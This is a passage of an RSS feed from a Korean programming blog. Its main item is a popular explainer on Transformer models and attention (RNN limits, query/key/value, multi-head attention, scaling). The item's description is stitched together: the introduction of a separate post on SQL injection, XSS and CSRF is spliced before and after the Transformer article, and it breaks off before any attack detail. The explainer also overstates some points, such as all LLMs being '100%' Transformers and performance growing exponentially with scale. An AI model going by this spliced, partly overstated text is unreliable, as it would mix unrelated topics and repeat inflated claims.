/&gt;다음&amp;nbsp;편에서는&amp;nbsp;1밀리초의&amp;nbsp;지연도&amp;nbsp;용납하지&amp;nbsp;않는&amp;nbsp;극한의&amp;nbsp;제어&amp;nbsp;시스템,&amp;nbsp;**[RTOS(실시간&amp;nbsp;운영체제)란&amp;nbsp;무엇인가?&amp;nbsp;-&amp;nbsp;1밀리초도&amp;nbsp;늦으면&amp;nbsp;안&amp;nbsp;되는&amp;nbsp;미션&amp;nbsp;크리티컬의&amp;nbsp;세계]**를&amp;nbsp;흥미진진하게&amp;nbsp;풀어드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>소프트웨어 공학 &amp;amp; 아키텍처</category>
      <category>OOP</category>
      <category>Solid</category>
      <category>개발기초</category>
      <category>객체지향</category>
      <category>디자인패턴</category>
      <category>리팩토링</category>
      <category>소프트웨어공학</category>
      <category>아키텍처</category>
      <category>클린코드</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/93</guid>
      <comments>https://softwin.tistory.com/93#entry93comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:35:06 +0900</pubDate>
    </item>
    <item>
      <title>트랜스포머(Transformer)와 어텐션 메커니즘 - ChatGPT를 탄생시킨 현대 AI의 심장</title>
      <link>https://softwin.tistory.com/92</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;웹&amp;nbsp;3대&amp;nbsp;해킹&amp;nbsp;공격과&amp;nbsp;방어법&amp;nbsp;-&amp;nbsp;SQL&amp;nbsp;인젝션,&amp;nbsp;XSS,&amp;nbsp;CSRF&amp;nbsp;완전&amp;nbsp;정복 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;화려한&amp;nbsp;내&amp;nbsp;웹사이트,&amp;nbsp;해커에겐&amp;nbsp;1초&amp;nbsp;만에&amp;nbsp;털리는&amp;nbsp;놀이터? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;안전한&amp;nbsp;사용자&amp;nbsp;인증과&amp;nbsp;간편&amp;nbsp;로그인을&amp;nbsp;책임지는&amp;nbsp;**JWT(JSON&amp;nbsp;Web&amp;nbsp;Token)와&amp;nbsp;OAuth&amp;nbsp;2.0의&amp;nbsp;원리**를&amp;nbsp;살펴보았습니다.&amp;nbsp;토큰으로&amp;nbsp;로그인&amp;nbsp;관문을&amp;nbsp;단단히&amp;nbsp;걸어&amp;nbsp;잠갔다고&amp;nbsp;해서&amp;nbsp;안심할&amp;nbsp;수&amp;nbsp;있을까요?&amp;nbsp;천만의&amp;nbsp;말씀입니다. &lt;br /&gt;&lt;br /&gt;실제&amp;nbsp;웹&amp;nbsp;서비스에서&amp;nbsp;발생하는&amp;nbsp;보안&amp;nbsp;사고의&amp;nbsp;90%&amp;nbsp;이상은&amp;nbsp;거창한&amp;nbsp;암호학적&amp;nbsp;결함&amp;nbsp;때문이&amp;nbsp;아니라,&amp;nbsp;**개발자의&amp;nbsp;사소한&amp;nbsp;코딩&amp;nbsp;실수&amp;nbsp;하나**를&amp;nbsp;파고드는&amp;nbsp;아주&amp;nbsp;고전적이고&amp;nbsp;단순한&amp;nbsp;웹&amp;nbsp;취약점&amp;nbsp;때문에&amp;nbsp;터집니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;검색창에&amp;nbsp;이상한&amp;nbsp;기호&amp;nbsp;몇&amp;nbsp;개를&amp;nbsp;쳤더니&amp;nbsp;전&amp;nbsp;회원의&amp;nbsp;개인정보와&amp;nbsp;비밀번호가&amp;nbsp;화면에&amp;nbsp;쏟아져&amp;nbsp;나오고,&amp;nbsp;게시판&amp;nbsp;글&amp;nbsp;하나를&amp;nbsp;클릭했을&amp;nbsp;뿐인데&amp;nbsp;내&amp;nbsp;계좌에서&amp;nbsp;천만&amp;nbsp;원이&amp;nbsp;해커&amp;nbsp;계좌로&amp;nbsp;이체되어&amp;nbsp;버렸습니다!&quot;** &lt;br /&gt;#&amp;nbsp;트랜스포머(Transformer)와&amp;nbsp;어텐션&amp;nbsp;메커니즘&amp;nbsp;-&amp;nbsp;ChatGPT를&amp;nbsp;탄생시킨&amp;nbsp;현대&amp;nbsp;AI의&amp;nbsp;심장 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;도대체&amp;nbsp;2017년에&amp;nbsp;무슨&amp;nbsp;일이&amp;nbsp;있었길래&amp;nbsp;세상이&amp;nbsp;뒤집혔을까? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;인간의&amp;nbsp;뇌&amp;nbsp;신경세포를&amp;nbsp;모방하여&amp;nbsp;기계가&amp;nbsp;복잡한&amp;nbsp;패턴을&amp;nbsp;스스로&amp;nbsp;학습하는&amp;nbsp;**인공신경망(ANN)과&amp;nbsp;딥러닝의&amp;nbsp;기초&amp;nbsp;원리**를&amp;nbsp;살펴보았습니다.&amp;nbsp;딥러닝&amp;nbsp;기술로&amp;nbsp;컴퓨터는&amp;nbsp;고양이&amp;nbsp;사진을&amp;nbsp;기가&amp;nbsp;막히게&amp;nbsp;구분하고&amp;nbsp;알파고처럼&amp;nbsp;바둑을&amp;nbsp;둘&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되었습니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;유독&amp;nbsp;인공지능이&amp;nbsp;맥을&amp;nbsp;못&amp;nbsp;추고&amp;nbsp;쩔쩔매던&amp;nbsp;분야가&amp;nbsp;있었습니다.&amp;nbsp;바로&amp;nbsp;인간의&amp;nbsp;가장&amp;nbsp;고차원적인&amp;nbsp;지적&amp;nbsp;유산인&amp;nbsp;**'언어(자연어&amp;nbsp;처리)'**였습니다. &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;구글&amp;nbsp;번역기를&amp;nbsp;떠올려&amp;nbsp;보십시오.&amp;nbsp;&quot;그는&amp;nbsp;강가에&amp;nbsp;있는&amp;nbsp;은행(Bank)으로&amp;nbsp;갔다&quot;를&amp;nbsp;번역하면&amp;nbsp;돈을&amp;nbsp;입금하는&amp;nbsp;은행으로&amp;nbsp;오역하기&amp;nbsp;일쑤였고,&amp;nbsp;문장이&amp;nbsp;3줄만&amp;nbsp;넘어가도&amp;nbsp;앞뒤&amp;nbsp;주어와&amp;nbsp;목적어가&amp;nbsp;엉망진창으로&amp;nbsp;꼬여서&amp;nbsp;도무지&amp;nbsp;무슨&amp;nbsp;말인지&amp;nbsp;알아들을&amp;nbsp;수&amp;nbsp;없었습니다. &lt;br /&gt;&lt;br /&gt;그런데&amp;nbsp;2017년&amp;nbsp;겨울,&amp;nbsp;구글&amp;nbsp;브레인의&amp;nbsp;연구진&amp;nbsp;8명이&amp;nbsp;논문&amp;nbsp;한&amp;nbsp;편을&amp;nbsp;세상에&amp;nbsp;발표합니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;그&amp;nbsp;논문의&amp;nbsp;제목은&amp;nbsp;도발적이게도&amp;nbsp;단&amp;nbsp;세&amp;nbsp;단어였습니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;Attention&amp;nbsp;Is&amp;nbsp;All&amp;nbsp;You&amp;nbsp;Need&amp;nbsp;(어텐션,&amp;nbsp;너만&amp;nbsp;있으면&amp;nbsp;돼)&quot;** &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;논문에서&amp;nbsp;제안된&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;혁신적인&amp;nbsp;딥러닝&amp;nbsp;신경망&amp;nbsp;구조,&amp;nbsp;바로&amp;nbsp;**트랜스포머(Transformer)**입니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;오늘날&amp;nbsp;전&amp;nbsp;세계를&amp;nbsp;뒤흔들고&amp;nbsp;있는&amp;nbsp;**ChatGPT,&amp;nbsp;Claude,&amp;nbsp;Gemini**&amp;nbsp;등&amp;nbsp;모든&amp;nbsp;최신&amp;nbsp;거대&amp;nbsp;언어&amp;nbsp;모델(LLM)은&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;예외도&amp;nbsp;없이&amp;nbsp;100%&amp;nbsp;이&amp;nbsp;트랜스포머&amp;nbsp;구조&amp;nbsp;위에서&amp;nbsp;탄생했습니다. &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;언어&amp;nbsp;AI는&amp;nbsp;왜&amp;nbsp;멍청했고,&amp;nbsp;트랜스포머와&amp;nbsp;**어텐션(Attention)**&amp;nbsp;메커니즘은&amp;nbsp;어떻게&amp;nbsp;기계에게&amp;nbsp;인간&amp;nbsp;언어의&amp;nbsp;'문맥(Context)'을&amp;nbsp;완벽히&amp;nbsp;이해시켰을까요? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;과거의&amp;nbsp;한계:&amp;nbsp;'한&amp;nbsp;글자씩&amp;nbsp;읽다가&amp;nbsp;앞&amp;nbsp;내용을&amp;nbsp;까먹는'&amp;nbsp;RNN &lt;br /&gt;&lt;br /&gt;트랜스포머&amp;nbsp;이전에는&amp;nbsp;텍스트를&amp;nbsp;처리할&amp;nbsp;때&amp;nbsp;**순환신경망(RNN&amp;nbsp;/&amp;nbsp;LSTM)**이라는&amp;nbsp;모델을&amp;nbsp;썼습니다. &lt;br /&gt;&lt;br /&gt;RNN은&amp;nbsp;문장을&amp;nbsp;이해하기&amp;nbsp;위해&amp;nbsp;마치&amp;nbsp;초등학생이&amp;nbsp;글을&amp;nbsp;읽듯이&amp;nbsp;**단어를&amp;nbsp;왼쪽에서&amp;nbsp;오른쪽으로&amp;nbsp;하나씩&amp;nbsp;순서대로&amp;nbsp;읽었습니다.** &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;RNN의&amp;nbsp;순차적&amp;nbsp;읽기&amp;nbsp;방식&amp;nbsp;] &lt;br /&gt;[그는]&amp;nbsp;──&amp;gt;&amp;nbsp;[어제]&amp;nbsp;──&amp;gt;&amp;nbsp;[오랜]&amp;nbsp;──&amp;gt;&amp;nbsp;[친구를]&amp;nbsp;──&amp;gt;&amp;nbsp;[만나서]&amp;nbsp;──&amp;gt;&amp;nbsp;...&amp;nbsp;──&amp;gt;&amp;nbsp;[행복했다] &lt;br /&gt;&amp;nbsp;(기억)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(기억&amp;nbsp;누적)&amp;nbsp;&amp;nbsp;(기억&amp;nbsp;누적)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(앞&amp;nbsp;내용&amp;nbsp;거의&amp;nbsp;다&amp;nbsp;까먹음!) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;방식에는&amp;nbsp;두&amp;nbsp;가지&amp;nbsp;치명적인&amp;nbsp;한계가&amp;nbsp;있었습니다. &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**장기&amp;nbsp;의존성&amp;nbsp;문제&amp;nbsp;(기억&amp;nbsp;상실증)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;문장이&amp;nbsp;길어지면&amp;nbsp;뒤쪽&amp;nbsp;단어로&amp;nbsp;갈수록&amp;nbsp;앞에서&amp;nbsp;읽었던&amp;nbsp;단어의&amp;nbsp;기억(기울기)이&amp;nbsp;서서히&amp;nbsp;사라집니다.&amp;nbsp;문장&amp;nbsp;첫&amp;nbsp;단어의&amp;nbsp;주어가&amp;nbsp;무엇이었는지&amp;nbsp;끝에&amp;nbsp;가서는&amp;nbsp;완전히&amp;nbsp;까먹어버렸습니다. &lt;br /&gt;2.&amp;nbsp;**병렬&amp;nbsp;연산&amp;nbsp;불가능&amp;nbsp;(느려터진&amp;nbsp;학습&amp;nbsp;속도)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;앞&amp;nbsp;단어를&amp;nbsp;읽어야만&amp;nbsp;다음&amp;nbsp;단어를&amp;nbsp;읽을&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;'순차적'&amp;nbsp;구조였기&amp;nbsp;때문에,&amp;nbsp;수천억&amp;nbsp;개의&amp;nbsp;파라미터를&amp;nbsp;가진&amp;nbsp;거대한&amp;nbsp;데이터셋을&amp;nbsp;최신&amp;nbsp;수만&amp;nbsp;대의&amp;nbsp;GPU로&amp;nbsp;동시에&amp;nbsp;병렬&amp;nbsp;학습시키는&amp;nbsp;것이&amp;nbsp;불가능했습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;어텐션(Attention)의&amp;nbsp;등장:&amp;nbsp;&quot;어디에&amp;nbsp;'주목(집중)'해야&amp;nbsp;할까?&quot; &lt;br /&gt;&lt;br /&gt;트랜스포머&amp;nbsp;연구진은&amp;nbsp;기존의&amp;nbsp;고정관념을&amp;nbsp;완전히&amp;nbsp;부쉈습니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;인간이&amp;nbsp;글을&amp;nbsp;읽을&amp;nbsp;때&amp;nbsp;정말&amp;nbsp;왼쪽부터&amp;nbsp;한&amp;nbsp;글자씩&amp;nbsp;멍청하게&amp;nbsp;읽을까?&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;gt;&amp;nbsp;우리는&amp;nbsp;책을&amp;nbsp;읽을&amp;nbsp;때&amp;nbsp;문장&amp;nbsp;속에서&amp;nbsp;'서로&amp;nbsp;연관된&amp;nbsp;중요한&amp;nbsp;단어들끼리'&amp;nbsp;시선을&amp;nbsp;빠르게&amp;nbsp;교환하며&amp;nbsp;문맥을&amp;nbsp;파악하잖아!&quot;** &lt;br /&gt;&lt;br /&gt;이것이&amp;nbsp;바로&amp;nbsp;**어텐션(Attention,&amp;nbsp;주의&amp;nbsp;집중)**&amp;nbsp;메커니즘의&amp;nbsp;본질입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;문장:&amp;nbsp;&quot;동물이&amp;nbsp;길을&amp;nbsp;건너지&amp;nbsp;않았다.&amp;nbsp;왜냐하면&amp;nbsp;그것이&amp;nbsp;너무&amp;nbsp;피곤했기&amp;nbsp;때문이다.&quot;&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;문맥&amp;nbsp;속&amp;nbsp;대명사&amp;nbsp;[&amp;nbsp;그것(It)&amp;nbsp;]&amp;nbsp;은&amp;nbsp;무엇을&amp;nbsp;가리킬까요? &lt;br /&gt;-&amp;nbsp;과거&amp;nbsp;AI:&amp;nbsp;&quot;길(street)인가?&amp;nbsp;동물(animal)인가?&amp;nbsp;피곤(tired)인가?&quot;&amp;nbsp;(헷갈림) &lt;br /&gt;-&amp;nbsp;트랜스포머&amp;nbsp;어텐션: &lt;br /&gt;&amp;nbsp;&amp;nbsp;[&amp;nbsp;그것&amp;nbsp;]&amp;nbsp;────────&amp;nbsp;(관련도&amp;nbsp;88%&amp;nbsp;집중!)&amp;nbsp;────────&amp;gt;&amp;nbsp;[&amp;nbsp;동물&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;[&amp;nbsp;그것&amp;nbsp;]&amp;nbsp;────────&amp;nbsp;(관련도&amp;nbsp;&amp;nbsp;8%&amp;nbsp;집중)&amp;nbsp;─────────&amp;gt;&amp;nbsp;[&amp;nbsp;길&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;[&amp;nbsp;그것&amp;nbsp;]&amp;nbsp;────────&amp;nbsp;(관련도&amp;nbsp;&amp;nbsp;4%&amp;nbsp;집중)&amp;nbsp;─────────&amp;gt;&amp;nbsp;[&amp;nbsp;피곤&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;기계는&amp;nbsp;수치적으로&amp;nbsp;&quot;아!&amp;nbsp;'피곤했다'는&amp;nbsp;서술어와&amp;nbsp;호응하는&amp;nbsp;'그것'은&amp;nbsp;바로&amp;nbsp;'동물'이구나!&quot;를&amp;nbsp;완벽히&amp;nbsp;이해합니다. &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;어텐션은&amp;nbsp;문장&amp;nbsp;안의&amp;nbsp;모든&amp;nbsp;단어가&amp;nbsp;**&quot;나를&amp;nbsp;이해하려면&amp;nbsp;저&amp;nbsp;단어에&amp;nbsp;얼마나&amp;nbsp;집중(Attention)해야&amp;nbsp;하는가?&quot;**를&amp;nbsp;모든&amp;nbsp;단어&amp;nbsp;쌍마다&amp;nbsp;0%에서&amp;nbsp;100%까지&amp;nbsp;수학적&amp;nbsp;가중치로&amp;nbsp;계산해&amp;nbsp;냅니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;3.&amp;nbsp;트랜스포머의&amp;nbsp;세&amp;nbsp;가지&amp;nbsp;마법&amp;nbsp;무기:&amp;nbsp;Q,&amp;nbsp;K,&amp;nbsp;V &lt;br /&gt;&lt;br /&gt;트랜스포머의&amp;nbsp;셀프&amp;nbsp;어텐션(Self-Attention)은&amp;nbsp;놀랍게도&amp;nbsp;우리가&amp;nbsp;일상에서&amp;nbsp;**유튜브나&amp;nbsp;구글에서&amp;nbsp;검색하는&amp;nbsp;원리**와&amp;nbsp;수학적으로&amp;nbsp;완벽히&amp;nbsp;똑같습니다. &lt;br /&gt;&lt;br /&gt;바로&amp;nbsp;**Query(질문),&amp;nbsp;Key(제목/키워드),&amp;nbsp;Value(내용물)**의&amp;nbsp;삼총사입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;1.&amp;nbsp;Query&amp;nbsp;(Q):&amp;nbsp;내가&amp;nbsp;찾고자&amp;nbsp;하는&amp;nbsp;질문&amp;nbsp;(&quot;어떤&amp;nbsp;단어와&amp;nbsp;관련이&amp;nbsp;깊지?&quot;) &lt;br /&gt;2.&amp;nbsp;Key&amp;nbsp;&amp;nbsp;&amp;nbsp;(K):&amp;nbsp;각&amp;nbsp;단어가&amp;nbsp;가지고&amp;nbsp;있는&amp;nbsp;고유&amp;nbsp;특성&amp;nbsp;라벨&amp;nbsp;(&quot;나는&amp;nbsp;이런&amp;nbsp;단어야&quot;) &lt;br /&gt;3.&amp;nbsp;Value&amp;nbsp;(V):&amp;nbsp;그&amp;nbsp;단어가&amp;nbsp;담고&amp;nbsp;있는&amp;nbsp;실제&amp;nbsp;의미&amp;nbsp;데이터 &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;어텐션&amp;nbsp;점수&amp;nbsp;계산&amp;nbsp;] &lt;br /&gt;Query와&amp;nbsp;Key를&amp;nbsp;내적(Dot&amp;nbsp;Product)&amp;nbsp;곱셈하여&amp;nbsp;검색&amp;nbsp;관련도(유사도&amp;nbsp;점수)를&amp;nbsp;매김! &lt;br /&gt;➔&amp;nbsp;관련도가&amp;nbsp;높은&amp;nbsp;Value들만&amp;nbsp;높은&amp;nbsp;비율로&amp;nbsp;모아서&amp;nbsp;합성! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**멀티&amp;nbsp;헤드&amp;nbsp;어텐션&amp;nbsp;(Multi-Head&amp;nbsp;Attention)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;사람도&amp;nbsp;한&amp;nbsp;문장을&amp;nbsp;볼&amp;nbsp;때&amp;nbsp;'문법적&amp;nbsp;관계',&amp;nbsp;'의미적&amp;nbsp;관계',&amp;nbsp;'감정적&amp;nbsp;뉘앙스'를&amp;nbsp;다양한&amp;nbsp;각도에서&amp;nbsp;동시에&amp;nbsp;보듯이,&amp;nbsp;트랜스포머는&amp;nbsp;8개~64개의&amp;nbsp;어텐션&amp;nbsp;눈(Head)을&amp;nbsp;동시에&amp;nbsp;띄워&amp;nbsp;문맥을&amp;nbsp;입체적으로&amp;nbsp;분석합니다. &lt;br /&gt;*&amp;nbsp;**포지셔널&amp;nbsp;인코딩&amp;nbsp;(Positional&amp;nbsp;Encoding)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;문장의&amp;nbsp;모든&amp;nbsp;단어를&amp;nbsp;한꺼번에&amp;nbsp;병렬로&amp;nbsp;읽기&amp;nbsp;때문에,&amp;nbsp;단어의&amp;nbsp;원래&amp;nbsp;순서&amp;nbsp;정보(몇&amp;nbsp;번째&amp;nbsp;단어인가?)를&amp;nbsp;주기&amp;nbsp;위해&amp;nbsp;주기함수(Sin,&amp;nbsp;Cosine)&amp;nbsp;파동&amp;nbsp;값을&amp;nbsp;단어&amp;nbsp;벡터에&amp;nbsp;덧칠해&amp;nbsp;줍니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;왜&amp;nbsp;트랜스포머가&amp;nbsp;세상을&amp;nbsp;지배했는가?&amp;nbsp;(Scalability의&amp;nbsp;승리) &lt;br /&gt;&lt;br /&gt;트랜스포머의&amp;nbsp;가장&amp;nbsp;무서운&amp;nbsp;점은&amp;nbsp;단순한&amp;nbsp;언어&amp;nbsp;이해&amp;nbsp;능력이&amp;nbsp;아니었습니다.&amp;nbsp;바로&amp;nbsp;**&quot;무한한&amp;nbsp;확장성(Scalability)&quot;**이었습니다. &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**완벽한&amp;nbsp;GPU&amp;nbsp;병렬&amp;nbsp;처리**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;문장&amp;nbsp;전체를&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;통째로&amp;nbsp;행렬&amp;nbsp;곱셈(Matrix&amp;nbsp;Multiplication)으로&amp;nbsp;밀어&amp;nbsp;넣을&amp;nbsp;수&amp;nbsp;있어서,&amp;nbsp;엔비디아의&amp;nbsp;초고성능&amp;nbsp;GPU&amp;nbsp;수만&amp;nbsp;대를&amp;nbsp;100%&amp;nbsp;풀파워로&amp;nbsp;묶어&amp;nbsp;초고속으로&amp;nbsp;학습시킬&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되었습니다. &lt;br /&gt;2.&amp;nbsp;**스케일링&amp;nbsp;법칙(Scaling&amp;nbsp;Law)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;모델&amp;nbsp;크기를&amp;nbsp;10배&amp;nbsp;키우고&amp;nbsp;데이터를&amp;nbsp;100배&amp;nbsp;더&amp;nbsp;먹이면,&amp;nbsp;성능이&amp;nbsp;기하급수적으로&amp;nbsp;폭발한다&quot;는&amp;nbsp;스케일링&amp;nbsp;법칙이&amp;nbsp;입증되면서&amp;nbsp;오늘날의&amp;nbsp;GPT-4,&amp;nbsp;Gemini&amp;nbsp;같은&amp;nbsp;초대형&amp;nbsp;파운데이션&amp;nbsp;모델이&amp;nbsp;탄생했습니다. &lt;br /&gt;&lt;br /&gt;이제&amp;nbsp;트랜스포머는&amp;nbsp;텍스트를&amp;nbsp;넘어&amp;nbsp;이미지(ViT),&amp;nbsp;음성(Whisper),&amp;nbsp;단백질&amp;nbsp;구조&amp;nbsp;예측(AlphaFold),&amp;nbsp;자율주행까지&amp;nbsp;**현대&amp;nbsp;인공지능의&amp;nbsp;모든&amp;nbsp;영역을&amp;nbsp;통일한&amp;nbsp;절대&amp;nbsp;표준&amp;nbsp;아키텍처**로&amp;nbsp;우뚝&amp;nbsp;섰습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;기존&amp;nbsp;언어&amp;nbsp;AI(RNN)는&amp;nbsp;단어를&amp;nbsp;한&amp;nbsp;자씩&amp;nbsp;순서대로&amp;nbsp;읽느라&amp;nbsp;앞&amp;nbsp;내용을&amp;nbsp;잊어버리고&amp;nbsp;대규모&amp;nbsp;병렬&amp;nbsp;학습이&amp;nbsp;불가능했다. &lt;br /&gt;2.&amp;nbsp;**트랜스포머**는&amp;nbsp;문장&amp;nbsp;전체&amp;nbsp;단어들의&amp;nbsp;상호&amp;nbsp;연관성을&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;파악하는&amp;nbsp;**어텐션(Attention&amp;nbsp;-&amp;nbsp;Q,&amp;nbsp;K,&amp;nbsp;V)**&amp;nbsp;메커니즘으로&amp;nbsp;문맥의&amp;nbsp;비밀을&amp;nbsp;풀었다. &lt;br /&gt;3.&amp;nbsp;GPU&amp;nbsp;병렬&amp;nbsp;연산에&amp;nbsp;최적화된&amp;nbsp;덕분에&amp;nbsp;엄청난&amp;nbsp;크기의&amp;nbsp;데이터를&amp;nbsp;흡수할&amp;nbsp;수&amp;nbsp;있었고,&amp;nbsp;이는&amp;nbsp;ChatGPT를&amp;nbsp;비롯한&amp;nbsp;현대&amp;nbsp;생성형&amp;nbsp;AI&amp;nbsp;혁명의&amp;nbsp;기폭제가&amp;nbsp;되었다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;인공지능의&amp;nbsp;거대한&amp;nbsp;뇌가&amp;nbsp;트랜스포머&amp;nbsp;위에서&amp;nbsp;완성되었다면,&amp;nbsp;인간&amp;nbsp;개발자들이&amp;nbsp;수십&amp;nbsp;년간&amp;nbsp;갈고닦아&amp;nbsp;온&amp;nbsp;소프트웨어&amp;nbsp;설계의&amp;nbsp;명품&amp;nbsp;정석은&amp;nbsp;무엇일까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;유지보수하기&amp;nbsp;쉬운&amp;nbsp;클린&amp;nbsp;코드를&amp;nbsp;만들기&amp;nbsp;위한&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;객체지향&amp;nbsp;설계의&amp;nbsp;영원한&amp;nbsp;바이블,&amp;nbsp;**[객체지향&amp;nbsp;5대&amp;nbsp;설계&amp;nbsp;원칙&amp;nbsp;SOLID&amp;nbsp;-&amp;nbsp;명품&amp;nbsp;소프트웨어의&amp;nbsp;5가지&amp;nbsp;비밀]**을&amp;nbsp;알기&amp;nbsp;쉽게&amp;nbsp;정리해&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;영화&amp;nbsp;속에&amp;nbsp;나오는&amp;nbsp;천재&amp;nbsp;해커들의&amp;nbsp;이야기가&amp;nbsp;아닙니다.&amp;nbsp;초보&amp;nbsp;개발자가&amp;nbsp;흔히&amp;nbsp;저지르는&amp;nbsp;방심&amp;nbsp;틈으로&amp;nbsp;들어오는&amp;nbsp;현실의&amp;nbsp;공격입니다. &lt;br /&gt;&lt;br /&gt;웹&amp;nbsp;개발자라면&amp;nbsp;프론트엔드,&amp;nbsp;백엔드를&amp;nbsp;막론하고&amp;nbsp;반드시&amp;nbsp;뼈에&amp;nbsp;새겨야&amp;nbsp;할&amp;nbsp;**웹&amp;nbsp;3대&amp;nbsp;필수&amp;nbsp;보안&amp;nbsp;취약점:&amp;nbsp;SQL&amp;nbsp;인젝션,&amp;nbsp;XSS,&amp;nbsp;CSRF**의&amp;nbsp;작동&amp;nbsp;원리와&amp;nbsp;완벽한&amp;nbsp;철통&amp;nbsp;방어법을&amp;nbsp;파헤쳐&amp;nbsp;보겠습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;SQL&amp;nbsp;인젝션&amp;nbsp;(SQL&amp;nbsp;Injection)&amp;nbsp;-&amp;nbsp;데이터베이스를&amp;nbsp;속이는&amp;nbsp;말장난 &lt;br /&gt;&lt;br /&gt;SQL&amp;nbsp;인젝션은&amp;nbsp;사용자가&amp;nbsp;입력한&amp;nbsp;문자열을&amp;nbsp;데이터베이스&amp;nbsp;명령문으로&amp;nbsp;그대로&amp;nbsp;이어&amp;nbsp;붙일&amp;nbsp;때&amp;nbsp;발생하는&amp;nbsp;치명적인&amp;nbsp;취약점입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;위조&amp;nbsp;암구호로&amp;nbsp;은행&amp;nbsp;금고&amp;nbsp;열기 &lt;br /&gt;은행원이&amp;nbsp;고객에게&amp;nbsp;&quot;성함을&amp;nbsp;말씀해&amp;nbsp;주시면&amp;nbsp;통장&amp;nbsp;잔고를&amp;nbsp;조회해&amp;nbsp;드리겠습니다&quot;라고&amp;nbsp;물었습니다.&amp;nbsp;&amp;nbsp; &lt;br 